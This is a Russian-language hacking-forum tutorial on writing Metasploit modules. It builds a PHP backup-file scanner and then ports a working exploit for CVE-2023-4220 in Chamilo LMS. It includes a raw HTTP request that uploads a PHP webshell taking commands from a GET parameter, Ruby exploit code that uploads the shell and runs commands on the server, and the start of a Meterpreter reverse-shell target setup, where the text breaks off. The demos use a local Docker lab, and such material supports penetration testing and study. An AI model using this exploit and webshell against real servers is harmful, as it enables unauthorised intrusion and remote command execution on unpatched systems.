• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Написание модулей для Metasploit на примере CVE и не только

petrinh1988

X-pert
Эксперт
Регистрация
27.02.2024
Сообщения
243
Реакции
493
Автор petrinh1988
Источник https://xss.pro

Всем привет!

Как-то я обещал написать статью о разработке модулей для Metasploit, вот и настал час))) Думаю, что актуальность темы очевидна. Metasploit крайне крутой инструмент, который значительно облегчает пентестерские и хакерские будни. В том числе, из-за тысяч готовых модулей. Но далеко не все охватывают готовые решения. Речь даже не о каких-то приватных решениях, модули появляются не моментально и вполне реальна ситуация, когда есть публичная CVE, а модуля под нее нет.

Можно зайти и с другой стороны. Если вы учитесь пентесту и неплохо разобрались с тем, как пишутся модули для MSF, ничто не мешает посмотреть исходники существующих модулей и таким образом расширять познания. Хотя… этими извращениями страдает не так много людей, может быть я и еще пару сумасшедших)))

Статья и про теорию и про практику. Сначала разберемся какие бывают модули, посмотрим стандартную структуру, в общем хотя бы как-то въедем в тему. После напишем несколько модулей. Первый сугубо тренировочный, направленный на знакомство с основами создания модулей. Второй ориентирован на реальную уязвимость в достаточно популярном продукте Chamilo — CVE-2023-4220. Учитывая, что уже есть готовые эксплоиты, мы будем портировать решение. Завершающим этапом сделаем модуль постэксплуатации взломанного сервера. Соберем немного информации.

Писать будем на Ruby. Но, если не шарите, не переживайте. Я буквально в третий раз пытаюсь что-то ваять на нем. В целом ничего сложного, бывают, мягко говоря, непонятные конструкции, но я постараюсь их объяснять Кроме того, в интернете куча справки, мне помогало… Ну и,.да простят меня профессионалы и адепты этого языка за криворукость))) Кроме того, к статье предлагаю относиться, как к исследованию, ни в коем случае не являюсь гуру написания модулей.

Что можно писать для Metasploit?​

Если честно, погружаясь в мир Метасплоита, я охреневал все больше и больше (в хорошем смысле). Обычно, когда речь заходит про его модули, все сводится к пяти типам модулей:

Auxiliary — вспомогательные модули, которые выполняют не основные задачи (в метасплоит это эксплуатация), но тем не менее достаточно важные. Это могут быть сканеры, фаззеры и т.п. Даже если цель dos сервера, это тоже задача для auxiliary модулей. Сбор информации, перечисление каких-то данных, административные функции - все это сюда же.

Exploits — модули использующие уязвимости для выполнения кода или получения доступа к таргету.

Encoders — модули кодирующие полезную нагрузку. Задача модулей обойти механизм безопасности, например, обфускацией.

Payloads — модули генерирующие полезные нагрузки, которые пытаются выполнить эксплоиты. Кроме того, этот тип модулей может быть использован для генерации автономных исполняемых файлов, которые после доставки и выполнения позволяют получить доступ.

Post— модули пост-эксплуатации, нужны для поддержания надежного соединения со скомпрометированным сервером и выполнения на нем необходимых злоумышленнику задач. Например, сбор данных на взломанной машине.

Но модули Метасплоит не ограничиваются только этими категориями. Если копнуть глубже, можно значительно расширить список:

NOP — используются для генерации NOP-слайдов (No Operation), которые помогают стабилизировать эксплойты. На мой взгляд, это довольно специфичный тип модулей. В официальной справке указывается, что чаще всего NOP sled используются в эксплоитах связанных с переполнением буфера. Так же, используют для обфускации, чтобы скрыть полезную нагрузку, например, от антивирусов.

1743720265858.png


Evasion — модули «уклонения» призваны позволят обходить защиту антивирусов, таких как «Windows Defender»

Listener — если условия настолько специфичные (нестандартный протокол, нужно добавить логику или шифрование и т.п.), что не хватает уже доступных в Метасплоит слушателей для организации коннекта, пользователь всегда может добавить свой,

Plugins — плагины, это особый тип модулей, который позволяет создавать любимые мной интеграции. Если эта тема интересна, дайте знать, могу выдать очень интересный материал. Интеграция Метасплоита со сканерами мне показалась крайне интересной, можно построить конвейер в полуавтоматическом режиме ломающий таргеты.

Не претендую на полноту списка, да и разные мнения читал по поводу выделения типов… например, кто-то Shellcodes выделяет, как отдельный вид модулей, хоть они и относятся к Payloads. Моя задача показать широту возможностей, а не сделать справочник по всем возможностям Metasploit для разработчиков.

Структура модулей​

Несмотря на обилие модулей, всех их объединяет почти идентичная структура.

Ruby:
require 'msf/core'


class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Example Scanner',
      'Description' => 'This scans for vulnerable services',
      'Author'      => ['Your Name'],
      'License'     => MSF_LICENSE))
  end


  def run_host(ip)
    ...
  end
end

Первым делом, всегда импортируется ядро msf. Далее мы объявляем класс модуля, указав от кого наследуем. Основные родители это:

  • Msf::Exploit::Remote – для удалённых эксплойтов.
  • Msf::Auxiliary – вспомогательные модули
  • Msf::Post – для пост-эксплуатации.
  • Msf::Encoder – для энкодеров.
  • Msf::Payload::Single / Msf::Payload::Staged – для пейлоадов.

Следующие строки должны импортировать миксины, содержащие нужные нам функции. Это предопределенные модули и их слишком большое количество, чтобы попытаться здесь разобрать. Есть миксины для брутфорса, работы с подключением по SSH, генераторы пэйлоадов. Все они, если я правильно понял систему, опираются на Rex (Ruby Exploitation Library) — это базовая библиотека Metasploit, написанная на Ruby, которая предоставляет низкоуровневые функции. В коде мы будем использовать её, например, чтобы понять работаем ли мы сейчас с IPv4 или IPv6.

Следом вызывается функция инициализации, где мы передаем мета-информацию о нашем модуле. В примере выше простейшее описание: название, автор и т.п. Но далее, в примерах, мы увидим более интересные настройки. Например, платформа, типы пэйлоадов и т.п. Это максимально полноценный вариант описать модуль, причем защитив его от “дурака”. Опять же пример, ограничение типов используемых пэйлоадов через свойство “PayloadType” и команд, свойство “RequiredCmd”.

Когда описание модуля готово, можно переходить к запускающей функции. Для каждого вида модуля она будет своей:

exploit – для эксплойтов.
run – для вспомогательных модулей. Для сканнеров есть вариант run_host(ip), она запускает сканирование для каждого хоста в отдельности.
check - в экслоитах используется для тестирования хоста на уязвимость. Эта функция должна возвращать функцию объекта Msf::Exploit::CheckCode, об этом будет информация в блоке про написание эксплоита.

Для эксплоитов также стоит указывать Rank (надежность эксплоита):

Ruby:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking  # NormalRanking, GoodRanking, ExcellentRanking

В целом, это вся базовая информация касающаяся модулей. Давайте практиковаться.

Пишем Auxiliary модуль для Metasploit​

Чтобы не выдумывать, напишем модуль, который ищет бэкапы PHP файлов. Фактически, фаззер, который ищет файлы по типу: wp-config.bac, wp-config.php.bak или db.php.old. Задача тривиальная и я уже писал подобные вещи, например в статье про разработку своих сканеров под Acunetix, мы искали забытые архивы. Но на примере этой задачи удобно показать принципы создания модулей для Metaspoit.

Начнем с простого. Модуль будет принимать стандартные LHOST и LPORT, указывающие на таргет. Кроме этого, добавим параметр FILES_WL. Предполагается, что пользователь уже провел предварительное сканирование при помощи ffuf, gobuster, dirb или любой другой программулины. На выходе у пользователя есть список путей к PHP-файлам. Пути без указания домена, только часть относящаяся к pah, т.к. модуль будет скрещивать переменные. Не лишним будет добавить параметр BACKUP_EXTS_WL со списком расширений для поиска.Последний параметр, который сейчас нужен, это SSL — нужно понимать, работать с http или https.

Сначала создадим структуру проекта:

Ruby:
##
# This module searches for backup files on a web server.
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Web Backup PHP File Finder',
      'Description'    => %q{
        This module searches for backup files on a web server using a pre-scanned structure.
      },
      'Author'         => ['petrinh1988'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://xss.pro']
        ]
    ))

    register_options(
      [
        OptPath.new('FILES_WL', [true, 'Path to file with list of web application files']),
        OptPath.new('BACKUP_EXTS_WL', [true, 'Path to file with backup extensions list']),
        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])

      ])
  end

  def run_host(target_host)
    # Основная логика будет здесь
  end
end

Сразу бросается в глаза схожий функционал между чтением двух вордлистов. Напишем общую функцию, которая получит строки из файлов:

Ruby:
  def read_file_to_array(file_path)
    array = []
    if File.exist?(file_path)
      File.open(file_path, 'rb').each_line do |line|
        line.strip!
        next if line.empty?
        array << line
      end
    else
      print_error("File not found: #{file_path}")
    end
    array
  rescue => e
    print_error("Failed to read file #{file_path}: #{e.message}")
    []
  end

Думаю, код вполне понятный, даже если вы никогда не писали на руби. Объявляем пустой массив, убеждаемся что все хорошо и файл существует. После чего открываем на чтение и проходим по всем строкам, добавляя не пустые в массив.

Следующим этапом реализуем запускающую функцию run_host(), в ней основная логика. После чего можно будет дописать все вспомогательные функции:

Ruby:
  def run_host(target_host)
    # 1. Читаем список файлов и расширений
    files = read_file_to_array(datastore['FILES_WL'])
    extensions = read_file_to_array(datastore['BACKUP_EXTS_WL'])
  
    if files.empty? || extensions.empty?
      print_error("No files or extensions to check")
      return
    end
  
    print_status("Starting backup scan for #{files.size} files with #{extensions.size} extensions")
  
    # 2. Для каждого файла генерируем варианты бэкапов
    files.each do |file_path|
      variants = generate_backup_variants(file_path, extensions)
    
      # 3. Проверяем каждый вариант
      variants.each do |backup_path|
        check_file_exists(backup_path)
      end
    end
  
    print_status("Backup scan completed for #{target_host}")
  end

Сначала получаем массивы из обоих файлов-словарей. Убеждаемся, что массивы не пустые. Далее проходимся по каждому пути файла, создавая варианты названий бэкапов. Завершает картину вложенный цикл, который поочередно чекает файл на существование на сервере.

Ruby:
def generate_backup_variants(file_path, extensions)
    variants = []
    dirname, basename = File.split(file_path)
  
    # Разделяем имя файла на основную часть и последнее расширение
    if basename.include?('.')
      # Разбиваем по всем точкам
      parts = basename.split('.')
      # Основное имя - все части кроме последней, соединенные обратно
      main_name = parts[0..-2].join('.')
      last_extension = parts.last
    else
      main_name = basename
      last_extension = nil
    end
 
    extensions.each do |backup_ext|
      # Вариант 1: добавляем новое расширение (file.config.php -> file.config.php.bak)
      variants << File.join(dirname, "#{basename}.#{backup_ext}")
    
      # Вариант 2: заменяем последнее расширение (file.config.php -> file.config.bak)
      if last_extension
        variants << File.join(dirname, "#{main_name}.#{backup_ext}")
      end
    end
  
    variants.uniq
  end

Функция просто стыкует расширения и пути. Из особенностей, это два варианта образования имени архива:
  1. Просто добавление еще одного расширения
  2. Замена расширения php на потенциально возможное расширение бэкапа

Это сделано чтобы охватить вариант wp-config.php.old и wp-config.old.

Еще одна особенность, это отделение расширения от имени файлов. Если просто сплитить и брать второй элемент, мы получим кривые результаты если в имени файла две и более точек.

Осталось функция проверки файла:

Ruby:
def check_file_exists(path)
    vprint_status("Checking: #{path}")
  
    begin
      res = send_request_cgi(
        'uri'    => normalize_uri(path),
        'method' => 'GET',
        'timeout' => 10,
        'ssl'     => datastore['SSL']
      )
    
      if res && res.code == 200
        print_good("Found backup: #{path}")
        # Сохраняем найденный бэкап в заметки
        report_note(
          host: rhost,
          port: rport,
          proto: 'tcp',
          type: 'web.backup',
          data: path,
          update: :unique
        )
        return true
      end
    rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED => e
      vprint_error("Connection failed for #{path}: #{e.class} #{e.message}")
    rescue ::Timeout::Error => e
      vprint_error("Timeout while checking #{path}")
    end
  
    false
  end

Через send_request_cgi отправляем запрос на сервер. Если есть ответ и он “200”, выводим радостное сообщение пользователю и сохраняем информацию в базу через report_note. Остановлюсь чуть подробнее на этих функциях. Давайте глянем, какие есть варианты сообщать информацию:

print_status - информационное сообщение пользователю, цвет сообщения белый [*]
print_good - радостно (зеленым) сообщаем, что что-то нашли [+]
print_warning - соответственно, желтое предупреждение [!]
print_error - ошибка, но не критическая. Цвет красный [-]
print_debug - голубым цветом выводится отладочная информация [*]

Причем, если вывод должен зависеть от verbose режим, то к названию функции надо добавить “v”. Например, vprint_good.

Если нужно сохранять информацию в лог, без вывода на экран, доступна функция elog().

Функция report_note несет в себе больше функционала, так как сохраняет результаты сканирования в общий отчет по сканированию ресурса. Она не обязательная, но дает серьезные плюсы при комплексной работе. Благодаря ей, другие модули узнают о наличии уязвимости. Более того, если указать update: :unique, это гарантирует что добавленный путь не будет дублироваться. Ну и без выполнения этой функции, результаты будут видны только во время выполнения модуля.

Тестовый стенд для модуля​


Модуль готов. Для тестирования создадим простой проект в Docker. Все нужные архивы будут прикреплены к статье. Структура тестового проекта:

Код:
Test/
├── docker-compose.yml
├── Dockerfile
└── web/
    ├── index.php
    ├── admin.php
    ├── admin.old
    ├── config.php
    ├── config.php.old
    └── .htaccess

Как видно из структуры, наш вспомогательный модуль должен найти два файла. Запускаем метасплоит и, на всякий случай, делаем reload_all после чего указываем использовать наш модуль:

1743720428116.png


Класс, пока все работает как надо. Не знаю как у вас, но у меня это всегда вызывает детский восторг… понятно, что по другому и быть не могло, но блин это работает)))) Укажем нужные опции:

1743720437601.png


Но при запуске случится ошибка…

1743720538200.png


Просто затупил и указал относительный путь, когда надо прописывать полный /home/kali/Test.. Оставляю здесь, мало ли кто мучатся будет. Исправляем, запускаем:

1743720581087.png


Отлично, файлы архивов успешно найдены и мы получили красивый вывод! Но по какой причине прошло два сканирования вместо одного? Все дело в том, как работает метасплоит с доменными именами. Первым делом он резолвит DNS (A для IPv4 и AAAA для IPv6). После доменное имя преобразуется во все связанные IP-адреса и каждый адрес сканируется отдельно. Когда речь идет о localhost, при резолве получается две записи: 127.0.0.1 для IPv4 и ::1 для IPv6. С другими доменами может быть подобная ситуация, если работает и IPv4 и IPv6. Избежать подобного поведения можно указав конкретный адрес:

1743720587864.png


Чтобы избежать такого поведения в нашем модуле, можно добавить небольшой кусок кода в запускающую функцию:
Ruby:
if Rex::Socket.is_ipv6?(target_host)
      vprint_status("Skipping IPv6 address #{target_host}")
      return
    end

После чего включить режим verbose, чтобы наш vprint отображался, через

Код:
set VERBOSE true

1743720608944.png


Отныне и во веки, наш модуль перестанет взаимодействовать с IPv6 адресами. При необходимости можно создать глобальный параметр указывающий, надо ли обрабатывать шестерки, но здесь это лишнее.

Улучшаем модуль​

Мне не нравится, что требуется предварительное сканирование. Логичным было бы дать пользователю возможность выполнить сканирование прямо в рамках модуля. Создать вариант двухэтапного сканирования, когда модуль сначала проходит по словарю в попытках разобраться со структурой веб-проекта. Когда структура создана, совершает второй проход с целью найти бэкапы.

Начнем с добавления двух параметров:

PRESCANNED - булево значение, которое указывает, является ли FILES_WL ранее отсканированной структурой или это просто словарь с возможными названиями файлов и папок.
MAX_DEPTH - максимальная глубина первичного сканирования

Ruby:
def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Advanced Web Backup PHP File Finder',
      'Description'    => %q{
        This module searches for backup files on a web server using either:
        1. Pre-scanned structure (PRESCANNED=true)
        2. Two-stage scanning with directory discovery (PRESCANNED=false)
        Supports IPv6 filtering and depth control.
      },
      'Author'         => ['petrinh1988'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://xss.pro']
        ]
    ))


    register_options(
      [
        OptPath.new('FILES_WL', [true, 'Path to file with list of web application files']),
        OptPath.new('BACKUP_EXTS_WL', [true, 'Path to file with backup extensions list']),
        OptBool.new('PRESCANNED', [true, 'Use pre-scanned file structure', false]),
        OptInt.new('MAX_DEPTH', [true, 'Maximum recursion depth for discovery', 2]),
        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])
      ])
  end

Нам нужно поменять логику запускающей функции. Проверить состояние “PRESCANNED”, если true, то запустить функцию первичного сканирования. В ином случае просто получаем массив, как и раньше. Сделал через тернарный оператор:

Ruby:
files = datastore['PRESCANNED'] ?
      read_file_to_array(datastore['FILES_WL']) :
      discover_structure

Функция построения структуры:

Ruby:
def discover_structure
    discovered = []
    print_status("Starting discovery with wordlist (max depth: #{datastore['MAX_DEPTH']})")
 
    scan_directory("/", discovered, 0, datastore['MAX_DEPTH'])
 
    if discovered.empty?
      print_warning("No PHP files discovered")
    else
      print_good("Discovered #{discovered.size} PHP files:")
      discovered.each { |file| print_status("  #{file}") }
    end
 
    discovered
  end

Как видно, фактически это функция инициализации процесса. Все дело в том, что сканирование предполагается рекурсивное. Чтобы не превращать код в ад, рекурсивная функция написана отдельно. За нее отвечает следующий кусок кода:

Ruby:
def scan_directory(current_path, discovered_files, current_depth, max_depth)
    read_file_to_array(datastore['FILES_WL']).each do |name|
      next if name.empty?
   
      base_path = current_path.end_with?('/') ? current_path : "#{current_path}/"
      full_path = File.join(base_path, name)
      full_path_php = "#{full_path}.php"
   
      if php_file_exists?(full_path_php)
        discovered_files << full_path_php
        print_good("Found PHP file: #{full_path_php}")
      end
   
      if directory_exists?(full_path) && current_depth < max_depth
        dir_path = full_path.end_with?('/') ? full_path : "#{full_path}/"
        vprint_status("Entering directory: #{dir_path}")
     
        scan_directory(dir_path, discovered_files, current_depth + 1, max_depth)
      end
    end
  end

Для каждого значения словаря, формируем новые пути. Проверяем есть ли у нас пхп-файл с таким именем, после чего проверяем есть ли директория с таким именем. В директорию, соответственно, рекурсивно углубляемся.

Функции проверки на существование директории:


Ruby:
def directory_exists?(path)
    test_path = path.end_with?('/') ? path : "#{path}/"
 
    res = send_request_cgi(
      'uri'    => normalize_uri(test_path),
      'method' => 'GET',
      'ssl'    => datastore['SSL'],
      'timeout' => 10
    )
 
    return false unless res
 
    case res.code
    when 200
      !php_content?(res)
    when 301, 302
      res.headers['Location'].present?
    when 401, 403
      true
    else
      false
    end
  end

В целом, при нормальных настройках сервера, функция неплохо справляется со своими задачами. Все сломать могут безумные сеошники/дорвейщики и иже с ними. Те, кто предпочитает на любой урл возвращать статус 200, либо не обрабатывать 404 и редиректить на главную. Но здесь возникает вопрос адекватности затрачиваемых ресурсов. Если атакуемое веб-приложение имеет такие особенности, проще бороться с ними используя профессиональные инструменты фаззинга.

Чек существования файла PHP:

Ruby:
def php_file_exists?(path)
    res = send_request_cgi(
      'uri'    => normalize_uri(path),
      'method' => 'GET',
      'ssl'    => datastore['SSL'],
      'timeout' => 10
    )
 
    res && res.code == 200 && php_content?(res)
  end

Обе функции чека вызывают проверку на наличие php-контента. По большей части, эта функция смотрит чтобы был текстовый ответ, а не какой-нибудь стрим и т.п.:

Ruby:
  def php_content?(response)
    response.body.include?('<?php') ||
    response.headers['Content-Type']&.include?('text/html')
  end

Натравлю на наш тестовый сервер расширенную версию модуля, чтобы убедиться в работоспособности:

1743720745648.png


Фанфары, все дела — модуль прекрасно справляется со своей задачей. Можете себя поздравить, вспомогательные модули полностью вам поддались. Пойдем копаться в эксплуатации:

Развертывание тестового сервера Chamilo​

Уязвимость CVE-2023-4220 есть в Chamilo вплоть до версии 1.11.24. Хотя по большому счету, уязвимость возникает в совершенно другом проекте, просто Chamilo использует его как модуль для загрузки больших файлов. Источник проблем это BigUpload версии 1.2. который позволяет загружать большие файлы (автор пишет о тестах до 2Гб). Любой проект использующий его может быть уязвим. Проблема возникает в том, что модуль позволяет выполнить не авторизованную загрузку файла, в том числе и PHP. Отправив POST запрос на bigUpload.php с параметром action равным “post-unsupported” и прикрепив в тело запроса файл, мы можем спокойно загрузить вебшелл. Пример запроса:

Код:
POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 213


------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="bigUploadFile"; filename="shell.php"
Content-Type: application/x-php


<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

Таким образом, у нас появится простейший шелл, который через GET-запрос даст нам почти полную свободу действий. Пора бы уже собрать тестовый сервер и опробовать атаку…

Для начала скачаем архив с нужным релизом Chamilo отсюда.

Следующим этапом соберем проект для Docker. Как обычно, готовый архив приложен к статье. Структура проекта будет выглядеть следующим образом:
Код:
chamilo-docker/
├── docker-compose.yml
├── Dockerfile
├── data/
│   ├── mysql/
│   └── chamilo/
└── html/

В html копируем все файлы из архива Chamilo. Папке data будет монтироваться в проект и использоваться как хранилище.

Содержимое Dockerfile

Содержимое docker-compose.yml.

Билдим докер проект и заходим по адресу http://localhost:8080/. Если все сделано правильно, вы увидите радостное приветствие от Chamilo. Остается произвести установку и начать работу с приложением.

1743720788224.png


С установкой проблем не должно возникнуть. Почти все время жмем “Следующий”. Данные о “компании” забил от фонаря, хотя можно было и проигноировать полностью. Для подключения к БД используем следующие данные:

Код:
    Хост БД: db
    Имя пользователя: chamilo
    Пароль: chamilopassword
    Имя БД: chamilo

При установке у меня возникла проблема с подключением к базе данных. Контейнер с базой лежал, а в логах была такая ошибка:

1743720811822.png


Решился вопрос заменой mysql на mariadb. Если столкнулись с подобным, просто попробуйте подобрать другой вариант (разные версии и образы mysql):

1743720822562.png


Через несколько минут, стенд полностью готов к тестированию.

Эксплоит для CVE 2023-4220​

Для начала проверим уязвимость. Возьмем с exploit-db готовый эксплоит на Python. Запустить скрипт можно следующей командой:

Bash:
python exploit.py "http://localhost:8080/" "id" --shell rce.php

В результате получим:

1743720846517.png


Проблема в том, что не создалась папка files в bigupload. По идее, папка должна создаваться сама, по крайней мере при загрузке документа в курс. Но в моем случае этого не произошло. Возможно потому что вообще никак не заморачивался с настройками и проигнорировал рекомендации Chamilo. Может с контейнером накосячил… либо разрабы внесли изменения в релиз. Интересно, что в исходниках из релиза папка есть.

Чтобы не заморачиваться, просто создал папку на сервере, по пути “/var/www/html/main/inc/lib/javascript/bigupload” и назначил ей права 777. После чего эксплоит прекрасно отработал:

1743720856150.png


Что же, все отлично эксплуатируется, теперь займемся портированием эксплоита в Metasploit.

Если посмотреть код эксплоита, от нас требуется только выполнить один POST-запрос на bigUpload.php. Указав в GET-параметрах action=post-unsupported. В тело запроса вставляем PHP-файл, который представляет собой простейший webshell. После чего, можно просто взаимодействовать с этим шеллом.

Создаем новый .rb - файл с базовой структурой. Путь к файлу:

Код:
/usr/share/metasploit-framework/modules/exploits/unix/webapp/

Чтобы быть честными, добавляем информацию об авторе эксплоита и чуть-чуть по себя:

Ruby:
##
# Metasploit Module
##


class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    include Msf::Exploit::CmdStager
 
 
    def initialize(info = {})
      super(update_info(info,
        'Name'           => 'Chamilo LMS 1.11.24 Unauthenticated RCE',
        'Description'    => %q{
          This module exploits an unauthenticated file upload vulnerability in Chamilo LMS
          version 1.11.24 and below, leading to remote code execution via a malicious PHP file.
          The module supports both command execution and Meterpreter reverse shells.
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'petrinh1988',
            'Mohamed Kamel BOUZEKRIA (0x00-null)'        
          ],
        'References'     =>
          [
            ['CVE', '2023-4220'],
            ['URL', 'https://github.com/0x00-null/Chamilo-CVE-2023-4220-RCE-Exploit'],
            ['URL', 'https://xss.pro/members/356055/']
          ],                      
        'DisclosureDate' => '2023-09-03',
        'DefaultTarget'  => 0,
        'Notes'          =>
          {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
          }
      ))
 
 
      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to Chamilo', '/']),
          OptString.new('WEBSHELL_NAME', [false, 'Name of the uploaded shell', 'rce.php']),
        ])
    end
 
 
    def check
        Exploit::CheckCode::Vulnerable("Checked! Yeahhh... cool... xss.pro FOREVER!")
    end
 
 
    def exploit
        print_good('Exploited')
    end
 
 
  end

Это уже рабочий модуль)))

1743720963181.png


Из параметров, которые нужно указать пользователю (помимо стандартных RHOST, etc.) это “TARGETURI” - путь к папке с Chamilo.

Начнем с проверки на существование уязвимости. Для разнообразия, сделаю механизм получения версии PHP на сервере. Скрипт загрузит файл, который вызовет phpinfo(), после чего удалит файл (нам же нужно как можно меньше следов?). Получив информацию о php, модуль распарсит ответ и вычлени версию. Согласен, что идея сомнительная, зато забавная:

Ruby:
def check
      test_file = "#{rand_text_alphanumeric(8)}.php"
      upload_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'inc', 'bigUpload.php')
      check_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'files', test_file)
 
      boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
      post_data = [
        "--#{boundary}",
        "Content-Disposition: form-data; name=\"bigUploadFile\"; filename=\"#{test_file}\"",
        "Content-Type: application/x-php",
        "",
        "<?php phpinfo(); unlink(__FILE__); ?>",
        "--#{boundary}--",
        ""
      ].join("\r\n")
 
      print_status("Uploading self-deleting phpinfo() file...")
      res = send_request_cgi({
        'method'  => 'POST',
        'uri'     => upload_url,
        'query'   => 'action=post-unsupported',
        'ctype'   => "multipart/form-data; boundary=#{boundary}",
        'data'    => post_data
      })
 
      return Exploit::CheckCode::Unknown('No response from target') unless res
      return Exploit::CheckCode::Safe("Upload failed (HTTP #{res.code})") unless res.code == 200
 
      print_status("Accessing uploaded file...")
      res_check = send_request_cgi({
        'method' => 'GET',
        'uri'    => check_url,
        'headers' => { 'Connection' => 'close' }
      })
 
      if res_check && res_check.code == 200
        if res_check.body.include?('<h1 class="p">PHP Version')
          php_version = res_check.body.match(/<h1 class="p">PHP Version (.*?)<\/h1>/)[1] rescue 'unknown'
          print_good("PHP version: #{php_version}")
          return Exploit::CheckCode::Vulnerable("PHP info disclosure - Version: #{php_version}")
        end
      end
 
      Exploit::CheckCode::Safe("No PHP info detected")
    end

Что мы тут делаем?

  1. При помощи rand_text_alphanumeric(8) генерируем имя для тестового php-файла. При помощи normalize_uri формируем URL’ы.
  2. Собираем мультипарт пост запрос, в тело которого пихаем phpinfo() и удаление файла
  3. Через уже известную нам функцию send_request_cgi выполняем запрос
  4. Проверяем есть ли ответ и является ли он 200. Кто никогда не писал на Ruby, “unless” это замена “if !”, т.е. отрицающего иф.
  5. Снова делаем запрос, чтобы убедиться в успешности загрузки.
  6. Если все окей, парсим корявой регуляркой. Получилось? Все ок, у нас уязвимая система.
  7. Если добрались до последней строчки, то система защищена…

Обратите внимание, что результат проверки возвращается через Exploit::CheckCode. Кроме использованных вариантов, есть еще: Detected - уязвимость обнаружена, но может быть не эксплуатируемой: Appears - косвенные признаки наличия уязвимости (например, в нашем случае это просто обнаружение папки bigupload/files); Unsupported - неподдерживаемая система…

Функция чека готова, давайте затестируем её. Настроим параметры эксплоита:

1743720993877.png


Первый запуск:

1743721005823.png


Отлично, чек прекрасно работает. PHP-файлы свободно грузятся через уязвимость, код отработал и показал нам версию PHP на сервере. Напишем код эксплоита, который будет выполнять тот же “id” на сервере:

Ruby:
def exploit    
      webshell_name = datastore['WEBSHELL_NAME'] || "#{rand_text_alphanumeric(8)}.php"
      upload_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'inc', 'bigUpload.php')
      webshell_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'files', webshell_name)
   
      boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
      post_data = [
        "--#{boundary}",
        "Content-Disposition: form-data; name=\"bigUploadFile\"; filename=\"#{webshell_name}\"",
        "Content-Type: application/x-php",
        "",
        "<?php system($_GET['cmd']); ?>",
        "--#{boundary}--",
        ""
      ].join("\r\n")
 
      print_status("Uploading webshell #{webshell_name}...")
      res = send_request_cgi({
        'method'  => 'POST',
        'uri'     => upload_url,
        'query'   => 'action=post-unsupported',
        'ctype'   => "multipart/form-data; boundary=#{boundary}",
        'data'    => post_data
      })
 
      unless res && res.code == 200
        fail_with(Failure::UnexpectedReply, 'Failed to upload the webshell')
      end
 
      print_good("Webshell uploaded to: #{full_uri(webshell_url)}")
      register_file_for_cleanup(webshell_name) if datastore['WEBSHELL_NAME']


      cmd = datastore['CMD'] || 'id'
      print_status("Executing command: #{cmd}")
 
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => @webshell_url,
        'vars_get' => { 'cmd' => cmd }
      })
 
      unless res && res.code == 200
        fail_with(Failure::UnexpectedReply, 'Failed to execute the command')
      end
 
      print_good('Command executed successfully!')
      print_line(res.body)
    end

Здесь у нас две новых функции Metasploit Framework API:

  1. fail_with() - завершает выполнение модуля с указанной ошибкой.
  2. register_file_for_cleanup() - как понятно из названия, позволяет Метасплоиту запомнить имя файла, чтобы после завершения сеанса удалить его.

Логика, думаю, вполне понятная: загрузили шелл и передали ему команду, ответ распечатали. Если что-то пошло не так, выкинули ошибку.

1743721029821.png


Все работает, но для Метасплоита это мелкова-то…а вот прикрутить доступные в нем обратные оболочки, чтобы программа из консоли сразу подключилась и предоставила возможность спокойно и уверенно взаимодействовать с сервером, вполне себе задача. Перепишем код функции эксплоита так, чтобы модуль использовал загрузку по стадиям и спокойно взаимодействовал с php/meterpreter/reverse_tcp.

Начнем с фукнции инициализации:

Ruby:
def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Chamilo LMS 1.11.24 Unauthenticated RCE',
      'Description'    => %q{
        This module exploits an unauthenticated file upload vulnerability in Chamilo LMS
        version 1.11.24 and below, leading to remote code execution via a malicious PHP file.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
          [
            'petrinh1988',
            'Mohamed Kamel BOUZEKRIA (0x00-null)'        
          ],
        'References'     =>
          [
            ['CVE', '2023-4220'],
            ['URL', 'https://github.com/0x00-null/Chamilo-CVE-2023-4220-RCE-Exploit'],
            ['URL', 'https://xss.pro/members/356055/']
          ],
      'Platform'       => ['php', 'unix', 'linux'],
      'Arch'           => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          ['PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Payload' => {'BadChars' => "'"},
              'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}
            }
          ],
          ['Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Payload' => {
                'BadChars' => "'\"`",
                'Compat' => {
                  'PayloadType' => 'cmd'
